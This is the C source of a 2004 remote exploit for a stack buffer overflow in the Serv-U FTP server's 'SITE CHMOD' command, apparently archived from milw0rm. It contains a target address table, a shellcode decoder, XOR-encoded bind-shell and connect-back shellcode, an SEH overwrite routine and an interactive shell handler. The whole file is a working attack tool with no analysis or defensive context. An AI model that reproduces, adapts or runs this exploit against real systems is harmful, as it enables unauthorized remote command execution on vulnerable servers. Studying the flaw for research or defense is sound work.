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- /*
- *-----------------------------------------------------------------------
- *
- * Servu.c - Serv-U FTPD 3.x/4.x "SITE CHMOD" Command
- * Remote stack buffer overflow exploit
- *
- * Copyright (C) 2004 HUC All Rights Reserved.
- *
- * Author : lion
- * : lion@cnhonker.net
- * : http://www.cnhonker.com
- * Date : 2004-01-25
- * : 2004-01-25 v1.0 Can attack Serv-U v3.0.0.20~v4.1.0.11
- * Tested : Windows 2000 Server EN/GB
- * : + Serv-U v3.0.0.20~v4.1.0.11
- * Notice : *** Bug find by kkqq kkqq@0x557.org ***
- * : *** You need a valid account and a writable directory. ***
- * Complie : cl Servu.c
- * Usage : Servu <-i ip> <-t type> [-u user] [-p pass] [-d dir] [-f ftpport] [-c cbhost] [-s shellport]
- *------------------------------------------------------------------------
- */
- #include <winsock2.h>
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- #pragma comment(lib, "ws2_32")
- // for bind shellcode
- #define BIND_OFFSET 91
- // for connectback shellcode
- #define PORT_OFFSET 95
- #define IP_OFFSET 88
- #define SEH_OFFSET 0x193 //v3.0.0.20~v4.1.0.11
- //#define SEH_OFFSET 0x133 // work on v3.0.0.16~v3.0.0.19, for connectback shellcode
- #define MAX_LEN 2048
- #define JMP_OVER "\xeb\x06\xeb\x06"
- #define VERSION "1.0"
- struct
- {
- DWORD dwJMP;
- char *szDescription;
- }targets[] =
- {
- {0x7ffa4a1b,"Serv-U v3.0.0.20~v4.1.0.11 GB 2K/XP ALL"}, //for all GB win2000 and winxp
- // {0x74FD69A9,"Serv-U v3.0.0.20~v4.1.0.11 GB 2K SP3/SP4"}, //wsock32.dll jmp ebx addr
- // {0x71a469ad,"Serv-U v3.0.0.20~v4.1.0.11 GB XP SP0/SP1"}, //wsock32.dll jmp ebx addr
- // {0x77e45f17,"Serv-U v3.0.0.20~v4.1.0.11 GB/BG 2K SP4"}, //user32.dll jmp ebx addr
- // {0x7ffa2186,"Serv-U v3.0.0.20~v4.1.0.11 BG 2K/XP ALL"}, //for all BG win2000 and winxp
- // {0x6dec6713,"Serv-U v3.0.0.20~v4.1.0.11 BG 2K SP4"}, //setupapi.dll jmp ebx addr
- // {0x6DEE6713,"Serv-U v3.0.0.20~v4.1.0.11 KR 2K SP4"}, //setupapi.dll jmp ebx addr
- // {0x77886713,"Serv-U v3.0.0.20~v4.1.0.11 EN 2K SP4"}, //setupapi.dll jmp ebx addr
- // {0x76b42a3a,"Serv-U v3.0.0.20~v4.1.0.11 EN XP SP1"},
- // {0x12345678,"Serv-U v3.0.0.20~v4.1.0.11"},
- },v;
- unsigned char *szSend[4];
- unsigned char szCommand[MAX_LEN];
- char szDirectory[0x100];
- // 28 bytes decode by lion, don't change this.
- unsigned char decode[]=
- "\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43\x39\x3B\x75"
- "\xFB\x4B\x80\x33\x93\x39\x73\xFC\x75\xF7\xFF\xD3";
- // Shellcode start sign, use for decode, don't change this.
- unsigned char sc_start[]=
- "lion";
- // Shellcode end sign, use for decode, don't change this.
- unsigned char sc_end[]=
- "li0n";
- // 311 bytes bind shellcode by lion (xor with 0x93)
- unsigned char sc[]=
- "\x7A\x96\x92\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
- "\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x36\x93\x93\x93"
- "\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
- "\x7B\xF9\x95\xCA\x7B\x1F\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
- "\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
- "\xF9\x91\x6C\xC5\x87\x18\x4B\x54\x94\x91\x93\x93\xA6\xA0\x53\x1A"
- "\xD4\x97\xF9\x83\xC4\xC0\x6C\xC5\x8B\xF9\x92\xC0\x6C\xC5\x8F\xC3"
- "\xC3\xC0\x6C\xC5\xB3\x18\x4B\xA0\x53\xFB\xF0\xFE\xF7\x93\x1A\xF5"
- "\xA3\x10\x7F\xC7\x18\x6F\xF9\x87\xCA\x1A\x97\x1C\x71\x68\x55\xD4"
- "\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A\xCC\xDB\x1A\xCC\xDF\x1A\xCC"
- "\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2\xC2\xF9\x92\xC2\xC2\x6C\xE5"
- "\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C\x6C\xA2\x6C\xC5\x9B\xC0\x6C"
- "\xC5\xB7\x6C\xC5\x9F\xC2\xC5\x18\xE6\xAF\x18\xE7\xBD\xEB\x90\x66"
- "\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA\xD2\x3E\x90\x56\xA0\x48\x9C"
- "\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E\x90\x49\xD3\x78\x62\xA8\x8C"
- "\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5\x18\x9F\xD8\x18\xCD\x8F\x90"
- "\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA\x50\x7B\x65\x6D\x6C\x6C\x1D"
- "\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A\x96\x5D\xED\x4B\x71\xE0\x58"
- "\x7E\x6F\xA8\x4A\x9A\x66\x3E\x37\x89\xE3\x54\x37\x3E\xBD\x7A\x76"
- "\xDA\x15\xDA\x74\xEA\x55\xEA";
- // 294 bytes connectback shellcode by lion (xor with 0x93)
- unsigned char cbsc[]=
- "\x7A\x6F\x93\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
- "\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x0F\x93\x93\x93"
- "\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
- "\x7B\xF9\x97\xCA\x7B\x10\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
- "\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
- "\xF9\x91\x6C\xC5\x87\x18\x4B\xFB\xEC\x93\x93\x92\xFB\x91\x93\x93"
- "\xA6\x18\x5F\xF9\x83\xC2\xC0\x6C\xC5\x8B\x16\x53\xE6\xD8\xA0\x53"
- "\xFB\xF0\xFE\xF7\x93\x1A\xF5\xA3\x10\x7F\xC7\x18\x6F\xF9\x83\xCA"
- "\x1A\x97\x1C\x71\x68\x55\xD4\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A"
- "\xCC\xDB\x1A\xCC\xDF\x1A\xCC\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2"
- "\xC2\xF9\x92\xC2\xC2\x6C\xE5\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C"
- "\x6C\xA2\x6C\xC5\x9B\xC0\x6C\xC5\x8F\x6C\xC5\x9F\xC2\xC5\x18\xE6"
- "\xAF\x18\xE7\xBD\xEB\x90\x66\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA"
- "\xD2\x3E\x90\x56\xA0\x48\x9C\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E"
- "\x90\x49\xD3\x78\x62\xA8\x8C\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5"
- "\x18\x9F\xD8\x18\xCD\x8F\x90\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA"
- "\x50\x7B\x6C\x6D\x6C\x6C\x1D\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A"
- "\x96\x5D\xED\x4B\x71\xE0\x58\x7E\x6F\xA8\x4A\x9A\x66\x3E\x7F\x6A"
- "\x39\xF3\x74\xEA\x55\xEA";
- void usage(char *p)
- {
- int i;
- printf( "Usage:\t%s\t<-i ip> <-t type>\n"
- "\t\t[-u user] [-p pass] [-d dir]\n"
- "\t\t[-f ftpport] [-c cbhost] [-s shellport]\n\n"
- "[type]:\n" , p);
- for(i=0;i<sizeof(targets)/sizeof(v);i++)
- {
- printf("\t%d\t0x%x\t%s\n", i, targets[i].dwJMP, targets[i].szDescription);
- }
- }
- /* ripped from TESO code and modifed by ey4s for win32 */
- void shell (int sock)
- {
- int l;
- char buf[512];
- struct timeval time;
- unsigned long ul[2];
- time.tv_sec = 1;
- time.tv_usec = 0;
- while (1)
- {
- ul[0] = 1;
- ul[1] = sock;
- l = select (0, (fd_set *)&ul, NULL, NULL, &time);
- if(l == 1)
- {
- l = recv (sock, buf, sizeof (buf), 0);
- if (l <= 0)
- {
- printf ("[-] Connection closed.\n");
- return;
- }
- l = write (1, buf, l);
- if (l <= 0)
- {
- printf ("[-] Connection closed.\n");
- return;
- }
- }
- else
- {
- l = read (0, buf, sizeof (buf));
- if (l <= 0)
- {
- printf("[-] Connection closed.\n");
- return;
- }
- l = send(sock, buf, l, 0);
- if (l <= 0)
- {
- printf("[-] Connection closed.\n");
- return;
- }
- }
- }
- }
- void main(int argc, char **argv)
- {
- struct sockaddr_in sa, server, client;
- WSADATA wsd;
- SOCKET s, s2, s3;
- int iErr, ret, len;
- char szRecvBuff[MAX_LEN];
- int i, j, iType;
- int iPort=21;
- char *ip=NULL, *pUser="ftp", *pPass="ftp@ftp.com", *cbHost=NULL;
- char user[128], pass[128];
- BOOL bCb=FALSE, bLocal=TRUE;
- unsigned short shport=53, shport2=0;
- unsigned long cbip;
- unsigned int timeout=5000, Reuse;
- char penetrate[255],cbHost2[20];
- int seh_offset;
- printf( "Serv-U FTPD 3.x/4.x \"SITE CHMOD\" remote overflow exploit V%s\r\n"
- "Bug find by kkqq kkqq@0x557.org, Code By lion (lion@cnhonker.net)\r\n"
- "Welcome to HUC website http://www.cnhonker.com\r\n\n"
- , VERSION);
- seh_offset = SEH_OFFSET;
- if(argc < 4)
- {
- usage(argv[0]);
- return;
- }
- for(i=1;i<argc;i+=2)
- {
- if(strlen(argv[i]) != 2)
- {
- usage(argv[0]);
- return;
- }
- // check parameter
- if(i == argc-1)
- {
- usage(argv[0]);
- return;
- }
- switch(argv[i][1])
- {
- case 'i':
- ip=argv[i+1];
- break;
- case 't':
- iType = atoi(argv[i+1]);
- break;
- case 'f':
- iPort=atoi(argv[i+1]);
- break;
- case 'p':
- pPass = argv[i+1];
- break;
- case 'u':
- pUser=argv[i+1];
- break;
- case 'c':
- cbHost=argv[i+1];
- bCb=TRUE;
- break;
- case 's':
- shport=atoi(argv[i+1]);
- break;
- case 'd':
- if(argv[i+1][0] != '/')
- strcpy(szDirectory, "/");
- strncat(szDirectory, argv[i+1], sizeof(szDirectory)-0x20);
- if(szDirectory[strlen(szDirectory)-1] != '/')
- strcat(szDirectory, "/");
- // correct the directory len
- for(j=0;j<(strlen(szDirectory)-1)%8;j++)
- strcat(szDirectory, "x");
- //printf("%d:%s\r\n", strlen(szDirectory), szDirectory);
- seh_offset = seh_offset - strlen(szDirectory)+1;
- break;
- }
- }
- if((!ip) || (!user) || (!pass))
- {
- usage(argv[0]);
- printf("[-] Invalid parameter.\n");
- return;
- }
- if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
- {
- usage(argv[0]);
- printf("[-] Invalid type.\n");
- return;
- }
- if(iPort <0 || iPort >65535 || shport <0 || shport > 65535)
- {
- usage(argv[0]);
- printf("[-] Invalid port.\n");
- return;
- }
- _snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);
- user[sizeof(user)-1]='\0';
- _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);
- pass[sizeof(pass)-1]='\0';
- szSend[0] = user; //user
- szSend[1] = pass; //pass
- szSend[2] = penetrate; //pentrate
- szSend[3] = szCommand; //shellcode
- // Penetrate through the firewall.
- if(bCb && shport > 1024)
- {
- strncpy(cbHost2, cbHost, 20);
- for(i=0;i<strlen(cbHost); i++)
- {
- if(cbHost[i] == '.')
- cbHost2[i] = ',';
- }
- sprintf(penetrate, "PORT %s,%d,%d\r\n", cbHost2, shport/256, shport%256);
- //printf("%s", penetrate);
- }
- else
- {
- sprintf(penetrate,"TYPE I\r\n");
- }
- // fill the "site chmod" command
- strcpy(szCommand, "site chmod 777 ");
- // fill the directory
- if(szDirectory[0])
- strcat(szCommand, szDirectory);
- // fill the egg
- for(i=0;i<seh_offset%8;i++)
- strcat(szCommand, "\x90");
- //strcat(szCommand, "BBBB");
- // fill the seh
- for(i=0;i<=(seh_offset/8)*8+0x20;i+=8)
- {
- strcat(szCommand, JMP_OVER);
- memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
- }
- // fill the decode
- strcat(szCommand, decode);
- // fill the shellcode start sign
- strcat(szCommand, sc_start);
- // fill the shellcode
- if(bCb)
- {
- // connectback shellcode
- shport2 = htons(shport)^(u_short)0x9393;
- cbip = inet_addr(cbHost)^0x93939393;
- memcpy(&cbsc[PORT_OFFSET], &shport2, 2);
- memcpy(&cbsc[IP_OFFSET], &cbip, 4);
- strcat(szCommand, cbsc);
- }
- else
- {
- // bind shellcode
- shport2 = htons(shport)^(u_short)0x9393;
- memcpy(&sc[BIND_OFFSET], &shport2, 2);
- strcat(szCommand, sc);
- }
- // fill the shellcode end sign
- strcat(szCommand, sc_end);
- // send end
- strcat(szCommand, "\r\n");
- if(strlen(szCommand) >= sizeof(szCommand))
- {
- printf("[-] stack buffer overflow.\n");
- return;
- }
- // printf("send size %d:%s", strlen(szCommand), szCommand);
- __try
- {
- if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
- {
- printf("[-] WSAStartup error:%d\n", WSAGetLastError());
- __leave;
- }
- s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if(s == INVALID_SOCKET)
- {
- printf("[-] Create socket failed:%d",GetLastError());
- __leave;
- }
- sa.sin_family=AF_INET;
- sa.sin_port=htons((USHORT)iPort);
- sa.sin_addr.S_un.S_addr=inet_addr(ip);
- setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
- iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
- if(iErr == SOCKET_ERROR)
- {
- printf("[-] Connect to %s:%d error:%d\n", ip, iPort, GetLastError());
- __leave;
- }
- printf("[+] Connect to %s:%d success.\n", ip, iPort);
- if(bCb)
- {
- Sleep(500);
- s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- server.sin_family=AF_INET;
- server.sin_addr.S_un.S_addr=inet_addr(cbHost);
- //server.sin_addr.s_addr=INADDR_ANY;
- server.sin_port=htons((unsigned short)shport);
- setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
- Reuse = 1;
- setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse, sizeof(Reuse));
- if(bind(s2,(LPSOCKADDR)&server,sizeof(server))==SOCKET_ERROR)
- {
- printf("[-] Bind port on %s:%d error.\n", cbHost, shport);
- printf("[-] You must run nc get the shell.\n");
- bLocal = FALSE;
- //closesocket(s2);
- //__leave;
- }
- else
- {
- printf("[+] Bind port on %s:%d success.\n", cbHost, shport);
- listen(s2, 1);
- }
- }
- for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
- {
- memset(szRecvBuff, 0, sizeof(szRecvBuff));
- iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
- if(iErr == SOCKET_ERROR)
- {
- printf("[-] Recv buffer error:%d.\n", WSAGetLastError());
- __leave;
- }
- printf("[+] Recv: %s", szRecvBuff);
- if(szRecvBuff[0] == '5')
- {
- printf("[-] Server return a error Message.\r\n");
- __leave;
- }
- iErr = send(s, szSend[i], strlen(szSend[i]),0);
- if(iErr == SOCKET_ERROR)
- {
- printf("[-] Send buffer error:%d.\n", WSAGetLastError());
- __leave;
- }
- if(i==sizeof(szSend)/sizeof(szSend[0])-1)
- printf("[+] Send shellcode %d bytes.\n", iErr);
- else
- printf("[+] Send: %s", szSend[i]);
- }
- printf("[+] If you don't have a shell it didn't work.\n");
- if(bCb)
- {
- if(bLocal)
- {
- printf("[+] Wait for shell...\n");
- len = sizeof(client);
- s3 = accept(s2, (struct sockaddr*)&client, &len);
- if(s3 != INVALID_SOCKET)
- {
- printf("[+] Exploit success! Good luck! :)\n");
- printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
- shell(s3);
- }
- }
- }
- else
- {
- printf("[+] Connect to shell...\n");
- Sleep(1000);
- s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- server.sin_family = AF_INET;
- server.sin_port = htons(shport);
- server.sin_addr.s_addr=inet_addr(ip);
- ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
- if(ret!=0)
- {
- printf("[-] Exploit seem failed.\n");
- __leave;
- }
- printf("[+] Exploit success! Good luck! :)\n");
- printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
- shell(s2);
- }
- }
- __finally
- {
- if(s != INVALID_SOCKET) closesocket(s);
- if(s2 != INVALID_SOCKET) closesocket(s2);
- if(s3 != INVALID_SOCKET) closesocket(s3);
- WSACleanup();
- }
- return;
- }
- // milw0rm.com [2004-01-27]
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